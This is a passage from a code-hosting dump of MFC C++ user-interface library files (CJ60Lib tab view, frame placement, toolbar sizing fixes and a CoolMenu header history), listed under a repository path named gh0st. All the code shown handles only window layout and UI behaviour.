m_pTabCtrl = (CTabCtrl*) this;
m_nActiveTab = 0;
}
CCJTabView::~CCJTabView()
{
while(!m_views.IsEmpty()) {
CTV_ITEM *pMember=m_views.RemoveHead();
safe_delete(pMember);
}
}
BEGIN_MESSAGE_MAP(CCJTabView, CCtrlView)
//{{AFX_MSG_MAP(CCJTabView)
ON_WM_CREATE()
ON_WM_WINDOWPOSCHANGED()
ON_NOTIFY_REFLECT(TCN_SELCHANGE, OnSelchange)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CCJTabView message handlers
void CCJTabView::GetChildRect(CRect &rect)
{
m_pTabCtrl->GetClientRect(&rect);
}
void CCJTabView::OnInitialUpdate()
{
CCtrlView::OnInitialUpdate();
}
CView* CCJTabView::GetActiveView()
{
return m_pActiveView;
}
CView* CCJTabView::GetView(int nView)
{
ASSERT_VALID(this);
ASSERT(nView >= 0);
if (nView!=-1) {
CTV_ITEM *pMember=m_views.GetAt(m_views.FindIndex(nView));
return (CView*)pMember->pWnd;
}
else
return NULL;
}
CView* CCJTabView::GetView(CRuntimeClass *pViewClass)
{
ASSERT_VALID(this);
ASSERT(pViewClass != NULL);
ASSERT(pViewClass->IsDerivedFrom(RUNTIME_CLASS(CWnd)));
ASSERT(AfxIsValidAddress(pViewClass, sizeof(CRuntimeClass), FALSE));
for (POSITION pos=m_views.GetHeadPosition(); pos; m_views.GetNext(pos)) {
CTV_ITEM *pMember=m_views.GetAt(pos);
if (pMember->pWnd->IsKindOf(pViewClass)) {
return (CView*)pMember->pWnd;
}
}
return NULL;
}
BOOL CCJTabView::ModifyTabStyle(DWORD dwRemove, DWORD dwAdd, UINT nFlags)
{
DWORD dwCurrentStyle = GetStyle();
// We are in horizontal mode...go vertical
if ((dwAdd & TCS_VERTICAL) && !(dwCurrentStyle & TCS_VERTICAL)) {
// Get the log font.
NONCLIENTMETRICS ncm;
ncm.cbSize = sizeof(NONCLIENTMETRICS);
VERIFY(::SystemParametersInfo(SPI_GETNONCLIENTMETRICS,
sizeof(NONCLIENTMETRICS), &ncm, 0));
m_TabFont.Detach();
ncm.lfMessageFont.lfOrientation = (dwAdd & TCS_RIGHT) ? 2700 : 900;
ncm.lfMessageFont.lfEscapement = (dwAdd & TCS_RIGHT) ? 2700 : 900;
m_TabFont.CreateFontIndirect(&ncm.lfMessageFont);
m_pTabCtrl->SetFont(&m_TabFont);
}
// We are in vertical mode....go horizontal
else if ((dwCurrentStyle & TCS_VERTICAL) && !(dwAdd & TCS_VERTICAL)) {
// Get the log font.
NONCLIENTMETRICS ncm;
ncm.cbSize = sizeof(NONCLIENTMETRICS);
VERIFY(::SystemParametersInfo(SPI_GETNONCLIENTMETRICS,
sizeof(NONCLIENTMETRICS), &ncm, 0));
m_TabFont.Detach();
ncm.lfMessageFont.lfOrientation = 0;
ncm.lfMessageFont.lfEscapement = 0;
m_TabFont.CreateFontIndirect(&ncm.lfMessageFont);
m_pTabCtrl->SetFont(&m_TabFont);
}
return m_pTabCtrl->ModifyStyle(dwRemove, dwAdd, nFlags);
}
int CCJTabView::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
if (CCtrlView::OnCreate(lpCreateStruct) == -1)
return -1;
ASSERT(m_pTabCtrl); // Should already be constructed
m_pTabCtrl->SetParent(this);
m_pTabCtrl->ModifyStyle(0, WM_PARENTNOTIFY);
// Get the log font.
NONCLIENTMETRICS ncm;
ncm.cbSize = sizeof(NONCLIENTMETRICS);
VERIFY(::SystemParametersInfo(SPI_GETNONCLIENTMETRICS,
sizeof(NONCLIENTMETRICS), &ncm, 0));
m_TabFont.CreateFontIndirect(&ncm.lfMessageFont);
m_pTabCtrl->SetFont(&m_TabFont);
// VC5 Support.
#if _MSC_VER >= 1200
m_pToolTip = m_pTabCtrl->GetToolTips();
m_pTabCtrl->SetToolTips(m_pToolTip);
#else
m_pToolTip = m_pTabCtrl->GetTooltips();
m_pTabCtrl->SetTooltips(m_pToolTip);
#endif
return 0;
}
// Determine where the views should be placed in the tab...
void CCJTabView::CalcViewRect(CRect* pRect)
{
GetChildRect((*pRect));
DWORD dwStyle = GetStyle();
if ((dwStyle & TCS_BOTTOM) && !(dwStyle & TCS_VERTICAL)) { // Bottom
(*pRect).top += TABVIEW_BORDER;
(*pRect).left += TABVIEW_BORDER;
(*pRect).right -= TABVIEW_BORDER;
(*pRect).bottom -= 26;
}
else if ((dwStyle & TCS_RIGHT) && (dwStyle & TCS_VERTICAL)) { // Right
(*pRect).top += TABVIEW_BORDER;
(*pRect).left += TABVIEW_BORDER;
(*pRect).right -= 26;
(*pRect).bottom -= TABVIEW_BORDER;
}
else if (dwStyle & TCS_VERTICAL) { // Left
(*pRect).top += TABVIEW_BORDER;
(*pRect).left += 26;
(*pRect).right -= TABVIEW_BORDER;
(*pRect).bottom -= TABVIEW_BORDER;
}
else { // Top
(*pRect).top += 26;
(*pRect).left += TABVIEW_BORDER;
(*pRect).right -= TABVIEW_BORDER;
(*pRect).bottom -= TABVIEW_BORDER;
}
}
void CCJTabView::OnWindowPosChanged(WINDOWPOS FAR* lpwndpos)
{
CRect rcChild;
CWnd *pWnd;
CalcViewRect(&rcChild);
for (POSITION pos=m_views.GetHeadPosition(); pos; m_views.GetNext(pos)) {
pWnd = m_views.GetAt(pos)->pWnd;
pWnd->MoveWindow(rcChild);
}
// *** LiangYiBin.Donald
if( lpwndpos->flags & SWP_HIDEWINDOW ) {
CFrameWnd* pFrame = GetParentFrame();
POSITION pos = m_views.GetHeadPosition();
while ( pos != NULL ) {
// check whether the views in the controlbar are focused
CTV_ITEM *pItem = (CTV_ITEM *) m_views.GetNext(pos);
if ( pFrame != NULL && pFrame->GetActiveView() == pItem->pWnd ) {
// To avoid mainwindow freezing, we must deativate the view,
// because it's not visible now.
pFrame->SetActiveView(NULL);
}
}
}
CCtrlView::OnWindowPosChanged(lpwndpos);
}
void CCJTabView::RemoveView(int nView)
{
ASSERT_VALID(this);
ASSERT(nView >= 0);
// remove the page from internal list
m_views.RemoveAt(m_views.FindIndex(nView));
}
void CCJTabView::SetActiveView(CRuntimeClass *pViewClass)
{
ASSERT_VALID(this);
ASSERT(pViewClass != NULL);
ASSERT(pViewClass->IsDerivedFrom(RUNTIME_CLASS(CWnd)));
ASSERT(AfxIsValidAddress(pViewClass, sizeof(CRuntimeClass), FALSE));
int nNewTab = 0;
for (POSITION pos=m_views.GetHeadPosition(); pos; m_views.GetNext(pos)) {
CTV_ITEM *pMember=m_views.GetAt(pos);
if (pMember->pWnd->IsKindOf(pViewClass)) {
//first hide old first view
m_pActiveView->EnableWindow(FALSE);
m_pActiveView->ShowWindow(SW_HIDE);
// set new active view
m_pActiveView = (CView*)pMember->pWnd;
// enable, show, set focus to new view
m_pActiveView->EnableWindow(TRUE);
m_pActiveView->ShowWindow(SW_SHOW);
m_pActiveView->SetFocus();
// *** LiangYiBin.Donald
//((CFrameWnd *)GetParent())->SetActiveView(m_pActiveView);
//GetParentFrame()->SetActiveView(m_pActiveView);
m_nActiveTab = nNewTab;
// select the tab
m_pTabCtrl->SetCurSel(m_nActiveTab);
break;
}
nNewTab++;
}
}
void CCJTabView::SetActiveView(int nNewTab)
{
ASSERT_VALID(this);
ASSERT(nNewTab >= 0);
if (nNewTab!=-1 && nNewTab!=m_nActiveTab) {
CTV_ITEM *newMember=m_views.GetAt(m_views.FindIndex(nNewTab));
CTV_ITEM *oldMember=NULL;
if (m_nActiveTab!=-1) {
oldMember=m_views.GetAt(m_views.FindIndex(m_nActiveTab));
oldMember->pWnd->EnableWindow(FALSE);
oldMember->pWnd->ShowWindow(SW_HIDE);
}
newMember->pWnd->EnableWindow(TRUE);
newMember->pWnd->ShowWindow(SW_SHOW);
newMember->pWnd->SetFocus();
m_pActiveView = (CView *)newMember->pWnd;
m_nActiveTab = nNewTab;
// select the tab (if tab programmatically changed)
m_pTabCtrl->SetCurSel(m_nActiveTab);
}
}
CImageList* CCJTabView::SetTabImageList(CImageList *pImageList)
{
return m_pTabCtrl->SetImageList (pImageList);
}
BOOL CCJTabView::AddView(LPCTSTR lpszLabel, CRuntimeClass *pViewClass, CDocument* pDoc/*=NULL*/, CCreateContext *pContext/*=NULL*/)
{
#ifdef _DEBUG
ASSERT_VALID(this);
ASSERT(pViewClass != NULL);
ASSERT(pViewClass->IsDerivedFrom(RUNTIME_CLASS(CWnd)));
ASSERT(AfxIsValidAddress(pViewClass, sizeof(CRuntimeClass), FALSE));
#endif
CCreateContext context;
if (pContext == NULL) {
// *** LiangYiBin.Donald
context.m_pCurrentDoc = pDoc;
context.m_pCurrentFrame = GetParentFrame();
context.m_pLastView = NULL;
context.m_pNewDocTemplate = NULL;
context.m_pNewViewClass = pViewClass;
pContext = &context;
}
CWnd* pWnd;
TRY {
pWnd = (CWnd*)pViewClass->CreateObject();
if (pWnd == NULL)
AfxThrowMemoryException();
}
CATCH_ALL(e) {
TRACE0(_T("Out of memory creating a view.\n"));
// Note: DELETE_EXCEPTION(e) not required
return FALSE;
}
END_CATCH_ALL
ASSERT_KINDOF(CWnd, pWnd);
ASSERT(pWnd->m_hWnd == NULL); // not yet created
DWORD dwStyle = AFX_WS_DEFAULT_VIEW;
CRect rect;
// Create with the right size and position
if (!pWnd->Create(NULL, NULL, dwStyle, rect, this, 0, pContext)) {
TRACE0(_T("Warning: couldn't create client pane for view.\n"));
// pWnd will be cleaned up by PostNcDestroy
return FALSE;
}
m_pActiveView = (CView*) pWnd;
CTV_ITEM *pMember=new CTV_ITEM;
pMember->pWnd=pWnd;
_tcscpy(pMember->szLabel, lpszLabel);
m_views.AddTail(pMember);
// ToolTip support for tabs.
if((m_views.GetCount()-1)==0) {
m_pToolTip->AddTool( m_pTabCtrl, lpszLabel,
NULL, m_views.GetCount()-1 );
}
else {
m_pToolTip->AddTool( m_pTabCtrl, lpszLabel,
CRect(0,0,0,0), m_views.GetCount()-1 );
}
int nViews = m_views.GetCount();
if (nViews != 1) {
pWnd->EnableWindow(FALSE);
pWnd->ShowWindow(SW_HIDE);
}
TC_ITEM tci;
tci.mask = TCIF_TEXT | TCIF_IMAGE;
tci.pszText = (LPTSTR)(LPCTSTR)lpszLabel;
tci.iImage = nViews-1;
m_pTabCtrl->InsertItem(nViews, &tci);
CRect rcChild;
CalcViewRect(&rcChild);
m_pActiveView->MoveWindow(rcChild);
return TRUE;
}
// Used for tab change notifications
void CCJTabView::OnSelchange(NMHDR* pNMHDR, LRESULT* pResult)
{
SetActiveView(m_pTabCtrl->GetCurSel());
*pResult = 0;
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJTabView.cpp | C++ | asf20 | 10,679 |
////////////////////////////////////////////////////////////////
// Copyright 1999 Takehiko Mizoguti
// If this code works, it was written by Takehiko Mizoguti.
// If not, I don't know who wrote it.
//
// CCJFrameInfo implements FrameWindow Info for CCJFrameWnd Families.
//
#include "StdAfx.h"
#include "CJFrameInfo.h"
CCJFrameInfo::CCJFrameInfo()
{
m_pFrameWnd = NULL;
m_strSection.Empty();
m_strEntry.Empty();
length = sizeof( WINDOWPLACEMENT );
flags = NULL;
showCmd = NULL;
ptMinPosition.x = 0;
ptMinPosition.y = 0;
ptMaxPosition.x = 0;
ptMaxPosition.y = 0;
rcNormalPosition.left = 0;
rcNormalPosition.top = 0;
rcNormalPosition.right = 0;
rcNormalPosition.bottom = 0;
}
CCJFrameInfo::~CCJFrameInfo()
{
}
void CCJFrameInfo::EnableRestorePlacement( CFrameWnd* pFrame, CString strSection, CString strEntry )
{
m_pFrameWnd = pFrame;
m_strSection = strSection;
m_strEntry = strEntry;
}
void CCJFrameInfo::LoadFramePlacement()
{
if( !m_pFrameWnd ) return;
ASSERT( !m_strSection.IsEmpty() );
ASSERT( !m_strEntry.IsEmpty() );
CString strValue;
strValue = AfxGetApp()->GetProfileString( m_strSection, m_strEntry, "" );
int nField = _stscanf( strValue, _T("%i,%i,%i,%i,%i,%i,%i,%i,%i,%i"),
&flags,
&showCmd,
&ptMinPosition.x,
&ptMinPosition.y,
&ptMaxPosition.x,
&ptMaxPosition.y,
&rcNormalPosition.left,
&rcNormalPosition.top,
&rcNormalPosition.right,
&rcNormalPosition.bottom
);
if( nField == 10 ) m_pFrameWnd->SetWindowPlacement( this );
}
void CCJFrameInfo::SaveFramePlacement()
{
if( !m_pFrameWnd ) return;
ASSERT( !m_strSection.IsEmpty() );
ASSERT( !m_strEntry.IsEmpty() );
m_pFrameWnd->GetWindowPlacement( this );
CString strValue;
strValue.Format( _T("%i,%i,%i,%i,%i,%i,%i,%i,%i,%i"),
flags,
showCmd,
ptMinPosition.x,
ptMinPosition.y,
ptMaxPosition.x,
ptMaxPosition.y,
rcNormalPosition.left,
rcNormalPosition.top,
rcNormalPosition.right,
rcNormalPosition.bottom
);
AfxGetApp()->WriteProfileString( m_strSection, m_strEntry, strValue );
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJFrameInfo.cpp | C++ | asf20 | 2,221 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
// CFixMFCToolBar fixes sizing bugs in MFC CToolBar, so it works with
// modern toolbars in versions of comctl32.dll > 4.70.
//
// Most of this code is copied from MFC, with slight modifications marked "PD"
//
#include "StdAfx.h"
#include "FixTB.h"
#include "ModulVer.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
IMPLEMENT_DYNAMIC(CFixMFCToolBar, CToolBar)
BEGIN_MESSAGE_MAP(CFixMFCToolBar, CToolBar)
ON_MESSAGE(TB_SETBITMAPSIZE, OnSetBitmapSize)
ON_MESSAGE(TB_SETBUTTONSIZE, OnSetButtonSize)
ON_MESSAGE(WM_SETTINGCHANGE, OnSettingChange)
ON_MESSAGE(WM_SETFONT, OnSettingChange)
END_MESSAGE_MAP()
/////////////////
// This function gets the version number of comctl32.dll.
//
static int GetVerComCtl32()
{
CModuleVersion ver;
DLLVERSIONINFO dvi;
VERIFY(ver.DllGetVersion(_T("comctl32.dll"), dvi));
return dvi.dwMajorVersion*100 + dvi.dwMinorVersion;
}
int CFixMFCToolBar::iVerComCtl32 = GetVerComCtl32();
CFixMFCToolBar::CFixMFCToolBar()
{
m_bShowDropdownArrowWhenVertical = FALSE;
}
CFixMFCToolBar::~CFixMFCToolBar()
{
}
//////////////////
// These functions duplicate functionalityin VC 6.0
// Need to set transparent/flat style before setting
// button/image size or font to allow zero-height border.
//
LRESULT CFixMFCToolBar::OnSetBitmapSize(WPARAM, LPARAM lp)
{
return OnSizeHelper(m_sizeImage, lp);
}
LRESULT CFixMFCToolBar::OnSetButtonSize(WPARAM, LPARAM lp)
{
return OnSizeHelper(m_sizeButton, lp);
}
LRESULT CFixMFCToolBar::OnSettingChange(WPARAM, LPARAM lp)
{
return OnSizeHelper(CSize(0,0), lp);
}
LRESULT CFixMFCToolBar::OnSizeHelper(CSize& sz, LPARAM lp)
{
ASSERT(iVerComCtl32 > 0);
BOOL bModStyle =FALSE;
DWORD dwStyle =0;
if (iVerComCtl32 >= 471) {
dwStyle = GetStyle();
bModStyle = ModifyStyle(0, TBSTYLE_TRANSPARENT|TBSTYLE_FLAT);
}
LRESULT lRet = Default();
if (lRet)
sz = lp;
if (bModStyle)
SetWindowLong(m_hWnd, GWL_STYLE, dwStyle);
return lRet;
}
//////////////////
// **PD**
// This is the all-important function that gets the true size of a button,
// instead of using m_sizeButton. And it's virtual, so you can override if
// my algorithm doesn't work, as will surely be the case in some circumstances.
//
CSize CFixMFCToolBar::GetButtonSize(TBBUTTON* pData, int iButton)
{
ASSERT(iVerComCtl32 > 0);
// Get the actual size of the button, not what's in m_sizeButton.
// Make sure to do SendMessage instead of calling MFC's GetItemRect,
// which has all sorts of bad side-effects! (Go ahead, take a look at it.)
//
CRect rc;
SendMessage(TB_GETITEMRECT, iButton, (LPARAM)&rc);
CSize sz = rc.Size();
////////////////
// Now must do special case for various versions of comctl32.dll,
//
DWORD dwStyle = pData[iButton].fsStyle;
if ((pData[iButton].fsState & TBSTATE_WRAP)) {
if (dwStyle & TBSTYLE_SEP) {
// this is the last separator in the row (eg vertically docked)
// fudge the height, and ignore the width. TB_GETITEMRECT will return
// size = (8 x 22) even for a separator in vertical toolbar
//
if (iVerComCtl32 <= 470)
sz.cy -= 3; // empircally good fudge factor
else if (iVerComCtl32 != 471)
sz.cy = sz.cx;
sz.cx = 0; // separator takes no width if it's the last one
} else if (dwStyle & TBSTYLE_DROPDOWN &&
!m_bShowDropdownArrowWhenVertical) {
// ignore width of dropdown
sz.cx = 0;
}
}
return sz;
}
//////////////////
// **PD**
// Part 2 of correction for MFC is to recalculate everything when the bar
// goes from docked to undocked because the AdjustSize calculation happens
// when the bar is in the old state, and thus wrong. After the bar is
// docked/undocked, I'll recalculate with the new style and commit the change.
//
void CFixMFCToolBar::OnBarStyleChange(DWORD dwOldStyle, DWORD dwNewStyle)
{
CToolBar::OnBarStyleChange(dwOldStyle, dwNewStyle);
if (dwOldStyle != dwNewStyle) {
DWORD dwMode = 0;
if ((dwNewStyle & CBRS_SIZE_DYNAMIC) && (dwNewStyle & CBRS_FLOATING))
dwMode = LM_HORZ | LM_MRUWIDTH;
else if (dwNewStyle & CBRS_ORIENT_HORZ)
dwMode = LM_HORZ | LM_HORZDOCK;
else
dwMode = LM_VERTDOCK;
CalcDynamicLayout(-1, dwMode | LM_COMMIT);
}
}
////////////////////////////////////////////////////////////////
// Stuff below is copied from MFC; only mod is to call GetButtonSize.
#ifdef _MAC
#define CX_OVERLAP 1
#else
#define CX_OVERLAP 0
#endif
CSize CFixMFCToolBar::CalcSize(TBBUTTON* pData, int nCount)
{
ASSERT(pData != NULL && nCount > 0);
CPoint cur(0,0);
CSize sizeResult(0,0);
int cyTallestOnRow = 0;
for (int i = 0; i < nCount; i++)
{
if (pData[i].fsState & TBSTATE_HIDDEN)
continue;
// **PD**
// Load actual size of button into a local variable
// called m_sizeButton. C++ will use this instead of
// CToolBar::m_sizeButton.
//
CSize m_sizeButton = GetButtonSize(pData, i);
// **PD**
// I also changed the logic below to be more correct.
cyTallestOnRow = max(cyTallestOnRow, m_sizeButton.cy);
sizeResult.cx = max(cur.x + m_sizeButton.cx, sizeResult.cx);
sizeResult.cy = max(cur.y + m_sizeButton.cy, sizeResult.cy);
cur.x += m_sizeButton.cx - CX_OVERLAP;
if (pData[i].fsState & TBSTATE_WRAP)
{
cur.x = 0;
cur.y += cyTallestOnRow;
cyTallestOnRow = 0;
if (pData[i].fsStyle & TBSTYLE_SEP)
cur.y += m_sizeButton.cy;
}
}
return sizeResult;
}
int CFixMFCToolBar::WrapToolBar(TBBUTTON* pData, int nCount, int nWidth)
{
ASSERT(pData != NULL && nCount > 0);
int nResult = 0;
int x = 0;
for (int i = 0; i < nCount; i++)
{
pData[i].fsState &= ~TBSTATE_WRAP;
if (pData[i].fsState & TBSTATE_HIDDEN)
continue;
int dx, dxNext;
// **PD**
// Load actual size of button into a local variable
// called m_sizeButton. C++ will use this instead of
// CToolBar::m_sizeButton.
//
CSize m_sizeButton = GetButtonSize(pData, i);
dx = m_sizeButton.cx;
dxNext = dx - CX_OVERLAP;
if (x + dx > nWidth)
{
BOOL bFound = FALSE;
for (int j = i; j >= 0 && !(pData[j].fsState & TBSTATE_WRAP); j--)
{
// Find last separator that isn't hidden
// a separator that has a command ID is not
// a separator, but a custom control.
if ((pData[j].fsStyle & TBSTYLE_SEP) &&
(pData[j].idCommand == 0) &&
!(pData[j].fsState & TBSTATE_HIDDEN))
{
bFound = TRUE; i = j; x = 0;
pData[j].fsState |= TBSTATE_WRAP;
nResult++;
break;
}
}
if (!bFound)
{
for (int j = i - 1; j >= 0 && !(pData[j].fsState & TBSTATE_WRAP); j--)
{
// Never wrap anything that is hidden,
// or any custom controls
if ((pData[j].fsState & TBSTATE_HIDDEN) ||
((pData[j].fsStyle & TBSTYLE_SEP) &&
(pData[j].idCommand != 0)))
continue;
bFound = TRUE; i = j; x = 0;
pData[j].fsState |= TBSTATE_WRAP;
nResult++;
break;
}
if (!bFound)
x += dxNext;
}
}
else
x += dxNext;
}
return nResult + 1;
}
//////////////////////////////////////////////////////////////////////////
// **PD**
// Functions below are NOT actually modified. They're only here because they
// calls the modified functions above, which are NOT virtual.
//////////////////////////////////////////////////////////////////////////
void CFixMFCToolBar::SizeToolBar(TBBUTTON* pData, int nCount, int nLength, BOOL bVert)
{
ASSERT(pData != NULL && nCount > 0);
if (!bVert)
{
int nMin, nMax, nTarget, nCurrent, nMid;
// Wrap ToolBar as specified
nMax = nLength;
nTarget = WrapToolBar(pData, nCount, nMax);
// Wrap ToolBar vertically
nMin = 0;
nCurrent = WrapToolBar(pData, nCount, nMin);
if (nCurrent != nTarget)
{
while (nMin < nMax)
{
nMid = (nMin + nMax) / 2;
nCurrent = WrapToolBar(pData, nCount, nMid);
if (nCurrent == nTarget)
nMax = nMid;
else
{
if (nMin == nMid)
{
WrapToolBar(pData, nCount, nMax);
break;
}
nMin = nMid;
}
}
}
CSize size = CalcSize(pData, nCount);
WrapToolBar(pData, nCount, size.cx);
}
else
{
CSize sizeMax, sizeMin, sizeMid;
// Wrap ToolBar vertically
WrapToolBar(pData, nCount, 0);
sizeMin = CalcSize(pData, nCount);
// Wrap ToolBar horizontally
WrapToolBar(pData, nCount, 32767);
sizeMax = CalcSize(pData, nCount);
while (sizeMin.cx < sizeMax.cx)
{
sizeMid.cx = (sizeMin.cx + sizeMax.cx) / 2;
WrapToolBar(pData, nCount, sizeMid.cx);
sizeMid = CalcSize(pData, nCount);
if (nLength < sizeMid.cy)
{
if (sizeMin == sizeMid)
{
WrapToolBar(pData, nCount, sizeMax.cx);
return;
}
sizeMin = sizeMid;
}
else if (nLength > sizeMid.cy)
sizeMax = sizeMid;
else
return;
}
}
}
struct _AFX_CONTROLPOS
{
int nIndex, nID;
CRect rectOldPos;
};
CSize CFixMFCToolBar::CalcLayout(DWORD dwMode, int nLength)
{
ASSERT_VALID(this);
ASSERT(::IsWindow(m_hWnd));
if (dwMode & LM_HORZDOCK)
ASSERT(dwMode & LM_HORZ);
int nCount;
TBBUTTON* pData;
CSize sizeResult(0,0);
// Load Buttons
{
nCount = SendMessage(TB_BUTTONCOUNT, 0, 0);
if (nCount != 0)
{
int i;
pData = new TBBUTTON[nCount];
for (i = 0; i < nCount; i++)
GetButton(i, &pData[i]); // **PD** renamed from _GetButton
}
}
if (nCount > 0)
{
if (!(m_dwStyle & CBRS_SIZE_FIXED))
{
BOOL bDynamic = m_dwStyle & CBRS_SIZE_DYNAMIC;
if (bDynamic && (dwMode & LM_MRUWIDTH))
SizeToolBar(pData, nCount, m_nMRUWidth);
else if (bDynamic && (dwMode & LM_HORZDOCK))
SizeToolBar(pData, nCount, 32767);
else if (bDynamic && (dwMode & LM_VERTDOCK))
SizeToolBar(pData, nCount, 0);
else if (bDynamic && (nLength != -1))
{
CRect rect; rect.SetRectEmpty();
CalcInsideRect(rect, (dwMode & LM_HORZ));
BOOL bVert = (dwMode & LM_LENGTHY);
int nLen = nLength + (bVert ? rect.Height() : rect.Width());
SizeToolBar(pData, nCount, nLen, bVert);
}
else if (bDynamic && (m_dwStyle & CBRS_FLOATING))
SizeToolBar(pData, nCount, m_nMRUWidth);
else
SizeToolBar(pData, nCount, (dwMode & LM_HORZ) ? 32767 : 0);
}
sizeResult = CalcSize(pData, nCount);
if (dwMode & LM_COMMIT)
{
_AFX_CONTROLPOS* pControl = NULL;
int nControlCount = 0;
BOOL bIsDelayed = m_bDelayedButtonLayout;
m_bDelayedButtonLayout = FALSE;
int i = 0;
for(i = 0; i < nCount; i++)
if ((pData[i].fsStyle & TBSTYLE_SEP) && (pData[i].idCommand != 0))
nControlCount++;
if (nControlCount > 0)
{
pControl = new _AFX_CONTROLPOS[nControlCount];
nControlCount = 0;
for(i = 0; i < nCount; i++)
{
if ((pData[i].fsStyle & TBSTYLE_SEP) && (pData[i].idCommand != 0))
{
pControl[nControlCount].nIndex = i;
pControl[nControlCount].nID = pData[i].idCommand;
CRect rect;
GetItemRect(i, &rect);
ClientToScreen(&rect);
pControl[nControlCount].rectOldPos = rect;
nControlCount++;
}
}
}
if ((m_dwStyle & CBRS_FLOATING) && (m_dwStyle & CBRS_SIZE_DYNAMIC))
m_nMRUWidth = sizeResult.cx;
for (i = 0; i < nCount; i++)
SetButton(i, &pData[i]); // **PD** renamed from _SetButton
if (nControlCount > 0)
{
for (i = 0; i < nControlCount; i++)
{
CWnd* pWnd = GetDlgItem(pControl[i].nID);
if (pWnd != NULL)
{
CRect rect;
pWnd->GetWindowRect(&rect);
CPoint pt = rect.TopLeft() - pControl[i].rectOldPos.TopLeft();
GetItemRect(pControl[i].nIndex, &rect);
pt = rect.TopLeft() + pt;
pWnd->SetWindowPos(NULL, pt.x, pt.y, 0, 0, SWP_NOACTIVATE | SWP_NOSIZE | SWP_NOZORDER);
}
}
delete[] pControl;
}
m_bDelayedButtonLayout = bIsDelayed;
}
delete[] pData;
}
//BLOCK: Adjust Margins
{
CRect rect; rect.SetRectEmpty();
CalcInsideRect(rect, (dwMode & LM_HORZ));
sizeResult.cy -= rect.Height();
sizeResult.cx -= rect.Width();
CSize size = CControlBar::CalcFixedLayout((dwMode & LM_STRETCH), (dwMode & LM_HORZ));
sizeResult.cx = max(sizeResult.cx, size.cx);
sizeResult.cy = max(sizeResult.cy, size.cy);
}
return sizeResult;
}
CSize CFixMFCToolBar::CalcFixedLayout(BOOL bStretch, BOOL bHorz)
{
DWORD dwMode = bStretch ? LM_STRETCH : 0;
dwMode |= bHorz ? LM_HORZ : 0;
return CalcLayout(dwMode);
}
CSize CFixMFCToolBar::CalcDynamicLayout(int nLength, DWORD dwMode)
{
if ((nLength == -1) && !(dwMode & LM_MRUWIDTH) && !(dwMode & LM_COMMIT) &&
((dwMode & LM_HORZDOCK) || (dwMode & LM_VERTDOCK)))
{
return CalcFixedLayout(dwMode & LM_STRETCH, dwMode & LM_HORZDOCK);
}
return CalcLayout(dwMode, nLength);
}
/////////////////////////////////////////////////////////////////////////////
// CToolBar attribute access
// **PD** I renamed this from _GetButton.
//
void CFixMFCToolBar::GetButton(int nIndex, TBBUTTON* pButton) const
{
CToolBar* pBar = (CToolBar*)this;
VERIFY(pBar->SendMessage(TB_GETBUTTON, nIndex, (LPARAM)pButton));
// TBSTATE_ENABLED == TBBS_DISABLED so invert it
pButton->fsState ^= TBSTATE_ENABLED;
}
// **PD** I renamed this from _SetButton.
//
void CFixMFCToolBar::SetButton(int nIndex, TBBUTTON* pButton)
{
// get original button state
TBBUTTON button;
VERIFY(SendMessage(TB_GETBUTTON, nIndex, (LPARAM)&button));
// prepare for old/new button comparsion
button.bReserved[0] = 0;
button.bReserved[1] = 0;
// TBSTATE_ENABLED == TBBS_DISABLED so invert it
pButton->fsState ^= TBSTATE_ENABLED;
pButton->bReserved[0] = 0;
pButton->bReserved[1] = 0;
// nothing to do if they are the same
if (memcmp(pButton, &button, sizeof(TBBUTTON)) != 0)
{
// don't redraw everything while setting the button
DWORD dwStyle = GetStyle();
ModifyStyle(WS_VISIBLE, 0);
VERIFY(SendMessage(TB_DELETEBUTTON, nIndex, 0));
VERIFY(SendMessage(TB_INSERTBUTTON, nIndex, (LPARAM)pButton));
ModifyStyle(0, dwStyle & WS_VISIBLE);
// invalidate appropriate parts
if (((pButton->fsStyle ^ button.fsStyle) & TBSTYLE_SEP) ||
((pButton->fsStyle & TBSTYLE_SEP) && pButton->iBitmap != button.iBitmap))
{
// changing a separator
Invalidate(FALSE);
}
else
{
// invalidate just the button
CRect rect;
if (SendMessage(TB_GETITEMRECT, nIndex, (LPARAM)&rect))
InvalidateRect(rect, FALSE); // don't erase background
}
}
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/FixTB.cpp | C++ | asf20 | 14,906 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
#include "StdAfx.h"
#ifdef _DEBUG
int CTraceFn::nIndent=-1; // current TRACE indent level
#endif
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/Globals.cpp | C++ | asf20 | 306 |
////////////////////////////////////////////////////////////////
// CoolMenu 1997 Microsoft Systems Journal.
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
// ==========================================================================
// HISTORY:
// ==========================================================================
// 1.01 13 Aug 1998 - Andrew Bancroft [ABancroft@lgc.com] - Since we've already
// added the entire toolbar to the imagelist we need to
// increment nNextImage even if we didn't add this button to
// m_mapIDtoImage in the LoadToolbar() method.
// 1.01a 13 Aug 1998 - Peter Tewkesbury - Added AddSingleBitmap(...)
// method for adding a single bitmap to a pulldown
// menu item.
// 1.02 13 Aug 1998 - Omar L Francisco - Fixed bug with lpds->CtlType
// and lpds->itemData item checking.
// 1.03 12 Nov 1998 - Fixes debug assert in system menu. - Wang Jun
// 1.04 17 Nov 1998 - Fixes debug assert when you maximize a view - Wang Jun
// window, then try to use the system menu for the view.
// 1.05 09 Jan 1998 - Seain B. Conover [sc@tarasoft.com] - Fix for virtual
// key names.
// 1.06 24 Feb 1999 - Michael Lange [michael.home@topdogg.com] - Fix for memory
// leak in CMyItemData structure, added a destructor that
// calls text.Empty().
// - Boris Kartamishev [kbv@omegasoftware.com] - Fix for resource
// ID bug.
// - Jeremy Horgan [jeremyhorgan@hotmail.com] - During
// accelerator key processing OnInitMenuPopup() calls
// ConvertMenu() which allocates a new CMyItemData for each
// menu item. This is memory is normally freed by a call to
// OnMenuSelect(), which is not called when processing
